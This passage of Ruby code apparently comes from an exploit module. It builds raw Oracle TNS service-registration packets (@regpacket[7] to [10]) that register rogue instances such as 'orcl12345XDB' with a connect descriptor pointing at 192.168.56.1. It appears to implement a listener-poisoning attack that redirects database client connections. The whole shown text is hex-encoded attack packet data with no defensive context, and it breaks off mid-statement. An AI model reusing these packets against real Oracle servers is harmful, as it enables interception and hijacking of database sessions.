"\x00\x0c\x00\x00\x00\x00\x00\x00\x00\x10\x53\x43\x32\xff\x07\x00" + @regpacket[7] << "\x00\x05\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x06\x00\x00" + @regpacket[7] << "\x00\x70\x8f\x48\x0b\x00\x00\x00\x00\x6f\x72\x63\x6c\x31\x32\x33" + @regpacket[7] << "\x34\x58\x44\x42\x00\x40\xd4\x69\x32\xff\x07\x00\x00\x00\x00\x00" + @regpacket[7] << "\x00\x00\x00\x00\x00\x09\x00\x00\x00\x00\x00\x00\x00\x68\xd4\x69" + @regpacket[7] << "\x32\xff\x07\x00\x00\x04\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00" + @regpacket[7] << "\x00\x06\x00\x00\x00\x10\xfc\xcc\x0a\x00\x00\x00\x00\x6f\x72\x63" + @regpacket[7] << "\x6c\x31\x32\x33\x34\x00" + + @regpacket[8]="\x05\xae\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x05\xa4\x24\x08" + @regpacket[8] << "\xff\x03\x01\x00\x12\x34\x34\x78\x78\x34\x78\x10\x10\x32\x10\x32" + @regpacket[8] << "\x10\x32\x54\x76\x10\x32\x10\x32\x54\x76\x00\x78\x10\x32\x54\x76" + @regpacket[8] << "\x00\x00\x48\x00\x00\x80\x02\x00\x00\x00\x00\x04\x00\x00\x98\xe9" + @regpacket[8] << "\x5a\x0b\x00\x00\x00\x00\x90\x00\x23\x00\x00\x00\x42\x45\x43\x37" + @regpacket[8] << "\x36\x43\x32\x43\x43\x31\x33\x36\x2d\x35\x46\x39\x46\x2d\x45\x30" + @regpacket[8] << "\x33\x34\x2d\x30\x30\x30\x33\x42\x41\x31\x33\x37\x34\x42\x33\x03" + @regpacket[8] << "\x00\x65\x00\x01\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x2c\x05" + @regpacket[8] << "\x00\x80\x05\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00" + @regpacket[8] << "\x00\x00\x01\x00\x00\x00\x10\x00\x00\x00\x02\x00\x00\x00\x00\x00" + @regpacket[8] << "\x00\x00\x80\xf5\xdc\x0a\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00" + @regpacket[8] << "\x00\x00\xb0\x00\x4d\x0b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + @regpacket[8] << "\x00\x00\xa0\xa8\x59\x0b\x00\x00\x00\x00\x42\x6d\x0e\x63\x6b\x8a" + @regpacket[8] << "\x41\x92\xaf\x47\xbc\xa8\x3e\x58\xd0\x55\x0a\x00\x00\x00\x00\x00" + @regpacket[8] << "\x00\x00\xc8\x45\xac\x25\xff\x07\x00\x00\x17\x00\x00\x00\x00\x00" + @regpacket[8] << "\x00\x00\x88\x02\x4d\x0b\x00\x00\x00\x00\x0a\x00\x00\x00\x64\x00" + @regpacket[8] << "\x00\x00\x01\x00\x00\x00\xf7\x00\x00\x00\x00\x00\x00\x00\x00\x00" + @regpacket[8] << "\x00\x00\x68\xf5\xdc\x0a\x00\x00\x00\x00\x6f\x72\x63\x6c\x31\x32" + @regpacket[8] << "\x33\x34\x35\x00\x28\x48\x4f\x53\x54\x3d\x61\x61\x61\x61\x73\x73" + @regpacket[8] << "\x73\x73\x64\x64\x64\x64\x66\x66\x66\x29\x00\x01\x00\x00\x00\x0d" + @regpacket[8] << "\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x70\xab\x8a\x25\xff" + @regpacket[8] << "\x07\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x48\xab\x8a\x25\xff" + @regpacket[8] << "\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x30\xa7\x59\x0b\x00" + @regpacket[8] << "\x00\x00\x00\x6f\x72\x63\x6c\x31\x32\x33\x34\x35\x58\x44\x42\x00" + @regpacket[8] << "\x0d\x00\x00\x00\x00\x00\x00\x00\x70\xab\x8a\x25\xff\x07\x00\x00" + @regpacket[8] << "\x05\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x06\x00\x00\x00" + @regpacket[8] << "\x70\x8f\x59\x0b\x00\x00\x00\x00\x6f\x72\x63\x6c\x31\x32\x33\x34" + @regpacket[8] << "\x35\x58\x44\x42\x00\x01\x00\x00\x00\x0a\x00\x00\x00\x01\x00\x00" + @regpacket[8] << "\x00\x00\x00\x00\x00\xa8\xd9\xa8\x25\xff\x07\x00\x00\x02\x00\x00" + @regpacket[8] << "\x00\x00\x00\x00\x00\x80\xd9\xa8\x25\xff\x07\x00\x00\x00\x00\x00" + @regpacket[8] << "\x00\x00\x00\x00\x00\x78\xa6\x59\x0b\x00\x00\x00\x00\x6f\x72\x63" + @regpacket[8] << "\x6c\x31\x32\x33\x34\x35\x00\x0a\x00\x00\x00\x00\x00\x00\x00\xa8" + @regpacket[8] << "\xd9\xa8\x25\xff\x07\x00\x00\x04\x00\x00\x00\x01\x00\x00\x00\x01" + @regpacket[8] << "\x00\x00\x00\x06\x00\x00\x00\x18\xfc\xdc\x0a\x00\x00\x00\x00\x6f" + @regpacket[8] << "\x72\x63\x6c\x31\x32\x33\x34\x35\x00\x01\x00\x00\x00\x45\x00\x00" + @regpacket[8] << "\x00\x01\x00\x00\x00\x00\x00\x00\x00\x08\x9c\xfa\x1f\xff\x07\x00" + @regpacket[8] << "\x00\x03\x00\x00\x00\x00\x00\x00\x00\x50\x66\x4d\x0b\x00\x00\x00" + @regpacket[8] << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x58\xa9\x59\x0b\x00\x00\x00" + @regpacket[8] << "\x00\x28\x44\x45\x53\x43\x52\x49\x50\x54\x49\x4f\x4e\x3d\x28\x41" + @regpacket[8] << "\x44\x44\x52\x45\x53\x53\x3d\x28\x50\x52\x4f\x54\x4f\x43\x4f\x4c" + @regpacket[8] << "\x3d\x74\x63\x70\x29\x28\x48\x4f\x53\x54\x3d\x31\x39\x32\x2e\x31" + @regpacket[8] << "\x36\x38\x2e\x35\x36\x2e\x31\x29\x28\x50\x4f\x52\x54\x3d\x31\x35" + @regpacket[8] << "\x32\x31\x29\x29\x29\x00\x45\x00\x00\x00\x00\x00\x00\x00\x08\x9c" + @regpacket[8] << "\xfa\x1f\xff\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xb8\xa5" + @regpacket[8] << "\x59\x0b\x00\x00\x00\x00\x28\x44\x45\x53\x43\x52\x49\x50\x54\x49" + @regpacket[8] << "\x4f\x4e\x3d\x28\x41\x44\x44\x52\x45\x53\x53\x3d\x28\x50\x52\x4f" + @regpacket[8] << "\x54\x4f\x43\x4f\x4c\x3d\x74\x63\x70\x29\x28\x48\x4f\x53\x54\x3d" + @regpacket[8] << "\x31\x39\x32\x2e\x31\x36\x38\x2e\x35\x36\x2e\x31\x29\x28\x50\x4f" + @regpacket[8] << "\x52\x54\x3d\x31\x35\x32\x31\x29\x29\x29\x00\x01\x00\x00\x00\x10" + @regpacket[8] << "\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\xa8\x97\x59\x0b\x00" + @regpacket[8] << "\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x90\x66\x4d\x0b\x00" + @regpacket[8] << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe8\xa7\x59\x0b\x00" + @regpacket[8] << "\x00\x00\x00\x28\xee\x94\x07\x12\x0a\x4b\x99\x9b\x41\x91\x9f\x27" + @regpacket[8] << "\x2d\x94\xe0\x05\x00\x00\x00\x00\x00\x00\x00\x60\x5a\xf6\x21\xff" + @regpacket[8] << "\x07\x00\x00\x3b\x00\x00\x00\x00\x00\x00\x00\xc0\x91\x94\x25\xff" + @regpacket[8] << "\x07\x00\x00\x31\x00\x00\x00\x00\x00\x00\x00\xfc\x66\x4d\x0b\x00" + @regpacket[8] << "\x00\x00\x00\x00\x00\x00\x00\xfe\x03\x00\x00\x04\x10\x00\x00\x01" + @regpacket[8] << "\x00\x00\x00\x18\xab\x8a\x25\xff\x07\x00\x00\x00\x00\x00\x00\x00" + @regpacket[8] << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + @regpacket[8] << "\x00\x00\x00\x90\x97\x59\x0b\x00\x00\x00\x00\x44\x30\x30\x30\x00" + @regpacket[8] << "\x28\x41\x44\x44\x52\x45\x53\x53\x3d\x28\x50\x52\x4f\x54\x4f\x43" + @regpacket[8] << "\x4f\x4c\x3d\x74\x63\x70\x29\x28\x48\x4f\x53\x54\x3d\x61\x61\x61" + @regpacket[8] << "\x61\x73\x73\x73\x73\x64\x64\x64\x64\x66\x66\x66\x29\x28\x50\x4f" + @regpacket[8] << "\x52\x54\x3d\x34\x39\x32\x30\x36\x29\x29\x00\x44\x49\x53\x50\x41" + @regpacket[8] << "\x54\x43\x48\x45\x52\x20\x3c\x6d\x61\x63\x68\x69\x6e\x65\x3a\x20" + @regpacket[8] << "\x61\x61\x61\x61\x73\x73\x73\x73\x64\x64\x64\x64\x66\x66\x66\x2c" + @regpacket[8] << "\x20\x70\x69\x64\x3a\x20\x31\x33\x33\x36\x3e\x00\x01\x00\x00\x00" + @regpacket[8] << "\x10\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\xd0\xfb\xdc\x0a" + @regpacket[8] << "\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x90\x99\xdc\x0a" + @regpacket[8] << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + @regpacket[8] << "\x00\x00\x00\x00\x3d\x69\x41\x97\xbd\xdb\x44\x2a\xa7\x4c\x94\x30" + @regpacket[8] << "\x56\xa3\x51\xd4\x48\xab\x8a\x25\xff\x07\x00\x00\x0a\x00\x00\x00" + @regpacket[8] << "\x00\x00\x00\x00\x2c\x54\x7b\x47\x01\x00\x00\x00\x3a\x00\x00\x00" + @regpacket[8] << "\x00\x00\x00\x00\x70\x45\xac\x25\xff\x07\x00\x00\x0e\x00\x00\x00" + @regpacket[8] << "\x00\x00\x00\x00\xf0\x79\x7b\x47\x01\x00\x00\x00\x05\x00\x00\x00" + @regpacket[8] << "\x95\x00\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00\xd0\xd9\xa8\x25" + @regpacket[8] << "\xff\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + @regpacket[8] << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xb8\xfb\xdc\x0a" + @regpacket[8] << "\x00\x00\x00\x00\x44\x45\x44\x49\x43\x41\x54\x45\x44\x00\x28\x41" + @regpacket[8] << "\x44\x44\x52\x45\x53\x53\x3d\x28\x50\x52\x4f\x54\x4f\x43\x4f\x4c" + @regpacket[8] << "\x3d\x54\x43\x50\x29\x28\x48\x4f\x53\x54\x3d\x61\x61\x61\x61\x73" + @regpacket[8] << "\x73\x73\x73\x64\x64\x64\x64\x66\x66\x66\x29\x28\x50\x4f\x52\x54" + @regpacket[8] << "\x3d\x31\x35\x32\x31\x29\x29\x00\x52\x45\x4d\x4f\x54\x45\x20\x53" + @regpacket[8] << "\x45\x52\x56\x45\x52\x00\x0d\x00\x00\x00\x00\x00\x00\x00\x70\xab" + @regpacket[8] << "\x8a\x25\xff\x07\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00\x01\x00" + @regpacket[8] << "\x00\x00\x06\x00\x00\x00\x70\x8f\x59\x0b\x00\x00\x00\x00\x6f\x72" + @regpacket[8] << "\x63\x6c\x31\x32\x33\x34\x35\x58\x44\x42\x00\x80\xd9\xa8\x25\xff" + @regpacket[8] << "\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0a\x00\x00\x00\x00" + @regpacket[8] << "\x00\x00\x00\xa8\xd9\xa8\x25\xff\x07\x00\x00\x04\x00\x00\x00\x01" + @regpacket[8] << "\x00\x00\x00\x01\x00\x00\x00\x06\x00\x00\x00\x18\xfc\xdc\x0a\x00" + @regpacket[8] << "\x00\x00\x00\x6f\x72\x63\x6c\x31\x32\x33\x34\x35\x00\x00" + + @regpacket[9]="\x05\xb6\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x05\xac\x24\x08" + @regpacket[9] << "\xff\x03\x01\x00\x12\x34\x34\x78\x78\x34\x78\x10\x10\x32\x10\x32" + @regpacket[9] << "\x10\x32\x54\x76\x10\x32\x10\x32\x54\x76\x00\x78\x10\x32\x54\x76" + @regpacket[9] << "\x00\x00\x48\x00\x00\x80\x02\x00\x00\x00\x00\x04\x00\x00\x18\xea" + @regpacket[9] << "\x3e\x0b\x00\x00\x00\x00\x90\x00\x23\x00\x00\x00\x42\x45\x43\x37" + @regpacket[9] << "\x36\x43\x32\x43\x43\x31\x33\x36\x2d\x35\x46\x39\x46\x2d\x45\x30" + @regpacket[9] << "\x33\x34\x2d\x30\x30\x30\x33\x42\x41\x31\x33\x37\x34\x42\x33\x03" + @regpacket[9] << "\x00\x65\x00\x01\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x34\x05" + @regpacket[9] << "\x00\x80\x05\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00" + @regpacket[9] << "\x00\x00\x01\x00\x00\x00\x10\x00\x00\x00\x02\x00\x00\x00\x00\x00" + @regpacket[9] << "\x00\x00\x80\xf5\x20\x0b\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00" + @regpacket[9] << "\x00\x00\xb0\x00\x46\x0b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + @regpacket[9] << "\x00\x00\x60\xa9\x3d\x0b\x00\x00\x00\x00\x11\xe3\x0a\xfc\x7c\x5f" + @regpacket[9] << "\x43\x58\x90\xa9\xb6\xc7\x36\x48\x37\xa6\x0b\x00\x00\x00\x00\x00" + @regpacket[9] << "\x00\x00\xc8\x45\xac\x25\xff\x07\x00\x00\x17\x00\x00\x00\x00\x00" + @regpacket[9] << "\x00\x00\x88\x02\x46\x0b\x00\x00\x00\x00\x0a\x00\x00\x00\x64\x00" + @regpacket[9] << "\x00\x00\x01\x00\x00\x00\xf7\x00\x00\x00\x00\x00\x00\x00\x08\x00" + @regpacket[9] << "\x00\x00\x68\xf5\x20\x0b\x00\x00\x00\x00\x6f\x72\x63\x6c\x31\x32" + @regpacket[9] << "\x33\x34\x35\x36\x00\x28\x48\x4f\x53\x54\x3d\x61\x61\x61\x61\x73" + @regpacket[9] << "\x73\x73\x73\x64\x64\x64\x64\x66\x66\x66\x29\x00\x01\x00\x00\x00" + @regpacket[9] << "\x0e\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x10\x53\x83\x25" + @regpacket[9] << "\xff\x07\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\xe8\x52\x83\x25" + @regpacket[9] << "\xff\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xf0\xa7\x3d\x0b" + @regpacket[9] << "\x00\x00\x00\x00\x6f\x72\x63\x6c\x31\x32\x33\x34\x35\x36\x58\x44" + @regpacket[9] << "\x42\x00\x0e\x00\x00\x00\x00\x00\x00\x00\x10\x53\x83\x25\xff\x07" + @regpacket[9] << "\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x06\x00" + @regpacket[9] << "\x00\x00\x70\x8f\x3d\x0b\x00\x00\x00\x00\x6f\x72\x63\x6c\x31\x32" + @regpacket[9] << "\x33\x34\x35\x36\x58\x44\x42\x00\x01\x00\x00\x00\x0b\x00\x00\x00" + @regpacket[9] << "\x01\x00\x00\x00\x00\x00\x00\x00\x68\xd4\xa9\x25\xff\x07\x00\x00" + @regpacket[9] << "\x02\x00\x00\x00\x00\x00\x00\x00\x40\xd4\xa9\x25\xff\x07\x00\x00" + @regpacket[9] << "\x00\x00\x00\x00\x00\x00\x00\x00\x38\xa7\x3d\x0b\x00\x00\x00\x00" + @regpacket[9] << "\x6f\x72\x63\x6c\x31\x32\x33\x34\x35\x36\x00\x0b\x00\x00\x00\x00" + @regpacket[9] << "\x00\x00\x00\x68\xd4\xa9\x25\xff\x07\x00\x00\x04\x00\x00\x00\x01" + @regpacket[9] << "\x00\x00\x00\x01\x00\x00\x00\x06\x00\x00\x00\x18\xfc\x20\x0b\x00" + @regpacket[9] << "\x00\x00\x00\x6f\x72\x63\x6c\x31\x32\x33\x34\x35\x36\x00\x01\x00" + @regpacket[9] << "\x00\x00\x45\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\xf8\x59" + @regpacket[9] << "\xf1\x1f\xff\x07\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x50\x66" + @regpacket[9] << "\x46\x0b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x18\xaa" + @regpacket[9] << "\x3d\x0b\x00\x00\x00\x00\x28\x44\x45\x53\x43\x52\x49\x50\x54\x49" + @regpacket[9] << "\x4f\x4e\x3d\x28\x41\x44\x44\x52\x45\x53\x53\x3d\x28\x50\x52\x4f" + @regpacket[9] << "\x54\x4f\x43\x4f\x4c\x3d\x74\x63\x70\x29\x28\x48\x4f\x53\x54\x3d" + @regpacket[9] << "\x31\x39\x32\x2e\x31\x36\x38\x2e\x35\x36\x2e\x31\x29\x28\x50\x4f" + @regpacket[9] << "\x52\x54\x3d\x31\x35\x32\x31\x29\x29\x29\x00\x45\x00\x00\x00\x00" + @regpacket[9] << "\x00\x00\x00\xf8\x59\xf1\x1f\xff\x07\x00\x00\x00\x00\x00\x00\x00" + @regpacket[9] << "\x00\x00\x00\x78\xa6\x3d\x0b\x00\x00\x00\x00\x28\x44\x45\x53\x43" + @regpacket[9] << "\x52\x49\x50\x54\x49\x4f\x4e\x3d\x28\x41\x44\x44\x52\x45\x53\x53" + @regpacket[9] << "\x3d\x28\x50\x52\x4f\x54\x4f\x43\x4f\x4c\x3d\x74\x63\x70\x29\x28" + @regpacket[9] << "\x48\x4f\x53\x54\x3d\x31\x39\x32\x2e\x31\x36\x38\x2e\x35\x36\x2e" + @regpacket[9] << "\x31\x29\x28\x50\x4f\x52\x54\x3d\x31\x35\x32\x31\x29\x29\x29\x00" + @regpacket[9] << "\x01\x00\x00\x00\x10\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00" + @regpacket[9] << "\xa8\x97\x3d\x0b\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00" + @regpacket[9] << "\x90\x66\x46\x0b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + @regpacket[9] << "\xa8\xa8\x3d\x0b\x00\x00\x00\x00\xcd\x55\x61\xa1\xe4\x95\x49\xf7" + @regpacket[9] << "\xb8\x7d\x68\x45\xcc\xf6\xd3\xe2\x05\x00\x00\x00\x00\x00\x00\x00" + @regpacket[9] << "\x60\x5a\xf6\x21\xff\x07\x00\x00\x3b\x00\x00\x00\x00\x00\x00\x00" + @regpacket[9] << "\xc0\x91\x94\x25\xff\x07\x00\x00\x30\x00\x00\x00\x00\x00\x00\x00" + @regpacket[9] << "\xfc\x66\x46\x0b\x00\x00\x00\x00\x00\x00\x00\x00\xfe\x03\x00\x00" + @regpacket[9] << "\x04\x10\x00\x00\x01\x00\x00\x00\xb8\x52\x83\x25\xff\x07\x00\x00" + @regpacket[9] << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + @regpacket[9] << "\x00\x00\x00\x00\x00\x00\x00\x00\x90\x97\x3d\x0b\x00\x00\x00\x00" + @regpacket[9] << "\x44\x30\x30\x30\x00\x28\x41\x44\x44\x52\x45\x53\x53\x3d\x28\x50" + @regpacket[9] << "\x52\x4f\x54\x4f\x43\x4f\x4c\x3d\x74\x63\x70\x29\x28\x48\x4f\x53" + @regpacket[9] << "\x54\x3d\x61\x61\x61\x61\x73\x73\x73\x73\x64\x64\x64\x64\x66\x66" + @regpacket[9] << "\x66\x29\x28\x50\x4f\x52\x54\x3d\x34\x39\x32\x31\x30\x29\x29\x00" + @regpacket[9] << "\x44\x49\x53\x50\x41\x54\x43\x48\x45\x52\x20\x3c\x6d\x61\x63\x68" + @regpacket[9] << "\x69\x6e\x65\x3a\x20\x61\x61\x61\x61\x73\x73\x73\x73\x64\x64\x64" + @regpacket[9] << "\x64\x66\x66\x66\x2c\x20\x70\x69\x64\x3a\x20\x33\x31\x32\x3e\x00" + @regpacket[9] << "\x01\x00\x00\x00\x10\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00" + @regpacket[9] << "\xd0\xfb\x20\x0b\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00" + @regpacket[9] << "\x90\x99\x20\x0b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + @regpacket[9] << "\x00\x00\x00\x00\x00\x00\x00\x00\xdf\x34\xad\xc8\x02\x22\x4c\x78" + @regpacket[9] << "\xb8\xcc\x18\xd4\x2a\x42\xe1\xe9\xe8\x52\x83\x25\xff\x07\x00\x00" + @regpacket[9] << "\x0a\x00\x00\x00\x00\x00\x00\x00\x2c\x54\x7b\x47\x01\x00\x00\x00" + @regpacket[9] << "\x3a\x00\x00\x00\x00\x00\x00\x00\x70\x45\xac\x25\xff\x07\x00\x00" + @regpacket[9] << "\x0e\x00\x00\x00\x00\x00\x00\x00\xf0\x79\x7b\x47\x01\x00\x00\x00" + @regpacket[9] << "\x14\x00\x00\x00\x95\x00\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00" + @regpacket[9] << "\x90\xd4\xa9\x25\xff\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + @regpacket[9] << "\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00" + @regpacket[9] << "\xb8\xfb\x20\x0b\x00\x00\x00\x00\x44\x45\x44\x49\x43\x41\x54\x45" + @regpacket[9] << "\x44\x00\x28\x41\x44\x44\x52\x45\x53\x53\x3d\x28\x50\x52\x4f\x54" + @regpacket[9] << "\x4f\x43\x4f\x4c\x3d\x54\x43\x50\x29\x28\x48\x4f\x53\x54\x3d\x61" + @regpacket[9] << "\x61\x61\x61\x73\x73\x73\x73\x64\x64\x64\x64\x66\x66\x66\x29\x28" + @regpacket[9] << "\x50\x4f\x52\x54\x3d\x31\x35\x32\x31\x29\x29\x00\x52\x45\x4d\x4f" + @regpacket[9] << "\x54\x45\x20\x53\x45\x52\x56\x45\x52\x00\x0e\x00\x00\x00\x00\x00" + @regpacket[9] << "\x00\x00\x10\x53\x83\x25\xff\x07\x00\x00\x05\x00\x00\x00\x00\x00" + @regpacket[9] << "\x00\x00\x01\x00\x00\x00\x06\x00\x00\x00\x70\x8f\x3d\x0b\x00\x00" + @regpacket[9] << "\x00\x00\x6f\x72\x63\x6c\x31\x32\x33\x34\x35\x36\x58\x44\x42\x00" + @regpacket[9] << "\x40\xd4\xa9\x25\xff\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + @regpacket[9] << "\x0b\x00\x00\x00\x00\x00\x00\x00\x68\xd4\xa9\x25\xff\x07\x00\x00" + @regpacket[9] << "\x04\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x06\x00\x00\x00" + @regpacket[9] << "\x18\xfc\x20\x0b\x00\x00\x00\x00\x6f\x72\x63\x6c\x31\x32\x33\x34" + @regpacket[9] << "\x35\x36\x00\x00\x00\x00" + + @regpacket[10]="\x05\xba\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x05\xb0\x24\x08" + @regpacket[10] << "\xff\x03\x01\x00\x12\x34\x34\x78\x78\x34\x78\x10\x10\x32\x10\x32" + @regpacket[10] << "\x10\x32\x54\x76\x10\x32\x10\x32\x54\x76\x00\x78\x10\x32\x54\x76" + @regpacket[10] << "\x00\x00\x48\x00\x00\x80\x02\x00\x00\x00\x00\x04\x00\x00\x98\xe9" + @regpacket[10] << "\x6c\x0c\x00\x00\x00\x00\x90\x00\x23\x00\x00\x00\x42\x45\x43\x37" + @regpacket[10] << "\x36\x43\x32\x43\x43\x31\x33\x36\x2d\x35\x46\x39\x46\x2d\x45\x30" + @regpacket[10] << "\x33\x34\x2d\x30\x30\x30\x33\x42\x41\x31\x33\x37\x34\x42\x33\x03" + @regpacket[10] << "\x00\x65\x00\x01\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x38\x05" + @regpacket[10] << "\x00\x80\x05\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00" + @regpacket[10] << "\x00\x00\x01\x00\x00\x00\x10\x00\x00\x00\x02\x00\x00\x00\x00\x00" + @regpacket[10] << "\x00\x00\x80\xf5\x22\x0b\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00" + @regpacket[10] << "\x00\x00\xb0\x00\x3f\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + @regpacket[10] << "\x00\x00\xa0\xa8\x6b\x0c\x00\x00\x00\x00\x8a\x5a\x21\x19\x1e\xa5" + @regpacket[10] << "\x43\xe6\xbb\xb9\xca\xb5\xb9\x4a\x30\x79\x0c\x00\x00\x00\x00\x00" + @regpacket[10] << "\x00\x00\xc8\x45\xac\x25\xff\x07\x00\x00\x17\x00\x00\x00\x00\x00" + @regpacket[10] << "\x00\x00\x88\x02\x3f\x0c\x00\x00\x00\x00\x0a\x00\x00\x00\x64\x00" + @regpacket[10] << "\x00\x00\x01\x00\x00\x00\xf7\x00\x00\x00\x00\x00\x00\x00\x00\x00" + @regpacket[10] << "\x00\x00\x68\xf5\x22\x0b\x00\x00\x00\x00\x6f\x72\x63\x6c\x31\x32" + @regpacket[10] << "\x33\x34\x35\x36\x37\x00\x28\x48\x4f\x53\x54\x3d\x61\x61\x61\x61" + @regpacket[10] << "\x73\x73\x73\x73\x64\x64\x64\x64\x66\x66\x66\x29\x00\x01\x00\x00" + @regpacket[10] << "\x00\x0f\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x58\x8c\xff" + @regpacket[10] << "\x1f\xff\x07\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x30\x8c\xff" + @regpacket[10] << "\x1f\xff\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x30\xa7\x6b" + @regpacket[10] << "\x0c\x00\x00\x00\x00\x6f\x72\x63\x6c\x31\x32\x33\x34\x35\x36\x37" + @regpacket[10] << "\x58\x44\x42\x00\x0f\x00\x00\x00\x00\x00\x00\x00\x58\x8c\xff\x1f" + @regpacket[10] << "\xff\x07\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00" + @regpacket[10] << "\x06\x00\x00\x00\x70\x8f\x6b\x0c\x00\x00\x00\x00\x6f\x72\x63\x6c" + @regpacket[10] << "\x31\x32\x33\x34\x35\x36\x37\x58\x44\x42\x00\x01\x00\x00\x00\x0c" + @regpacket[10] << "\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x28\xcf\xaa\x25\xff" + @regpacket[10] << "\x07\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\xcf\xaa\x25\xff" + @regpacket[10] << "\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x78\xa6\x6b\x0c\x00" + @regpacket[10] << "\x00\x00\x00\x6f\x72\x63\x6c\x31\x32\x33\x34\x35\x36\x37\x00\x0c" + @regpacket[10] << "\x00\x00\x00\x00\x00\x00\x00\x28\xcf\xaa\x25\xff\x07\x00\x00\x04" + @regpacket[10] << "\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x06\x00\x00\x00\x18" + @regpacket[10] << "\xfc\x22\x0b\x00\x00\x00\x00\x6f\x72\x63\x6c\x31\x32\x33\x34\x35" + @regpacket[10] << "\x36\x37\x00\x01\x00\x00\x00\x45\x00\x00\x00\x01\x00\x00\x00\x00" + @regpacket[10] << "\x00\x00\x00\xc0\x52\x84\x25\xff\x07\x00\x00\x03\x00\x00\x00\x00" + @regpacket[10] << "\x00\x00\x00\x50\x66\x3f\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00" + @regpacket[10] << "\x00\x00\x00\x58\xa9\x6b\x0c\x00\x00\x00\x00\x28\x44\x45\x53\x43" + @regpacket[10] << "\x52\x49\x50\x54\x49\x4f\x4e\x3d\x28\x41\x44\x44\x52\x45\x53\x53" + @regpacket[10] << "\x3d\x28\x50\x52\x4f\x54\x4f\x43\x4f\x4c\x3d\x74\x63\x70\x29\x28" + @regpacket[10] << "\x48\x4f\x53\x54\x3d\x31\x39\x32\x2e\x31\x36\x38\x2e\x35\x36\x2e" + @regpacket[10] << "\x31\x29\x28\x50\x4f\x52\x54\x3d\x31\x35\x32\x31\x29\x29\x29\x00" + @regpacket[10] << "\x45\x00\x00\x00\x00\x00\x00\x00\xc0\x52\x84\x25\xff\x07\x00\x00" + @regpacket[10] << "\x00\x00\x00\x00\x00\x00\x00\x00\xb8\xa5\x6b\x0c\x00\x00\x00\x00" + @regpacket[10] << "\x28\x44\x45\x53\x43\x52\x49\x50\x54\x49\x4f\x4e\x3d\x28\x41\x44" + @regpacket[10] << "\x44\x52\x45\x53\x53\x3d\x28\x50\x52\x4f\x54\x4f\x43\x4f\x4c\x3d" + @regpacket[10] << "\x74\x63\x70\x29\x28\x48\x4f\x53\x54\x3d\x31\x39\x32\x2e\x31\x36" + @regpacket[10] << "\x38\x2e\x35\x36\x2e\x31\x29\x28\x50\x4f\x52\x54\x3d\x31\x35\x32" + @regpacket[10] << "\x31\x29\x29\x29\x00\x01\x00\x00\x00\x10\x00\x00\x00\x02\x00\x00" + @regpacket[10] << "\x00\x00\x00\x00\x00\xa8\x97\x6b\x0c\x00\x00\x00\x00\x04\x00\x00" + 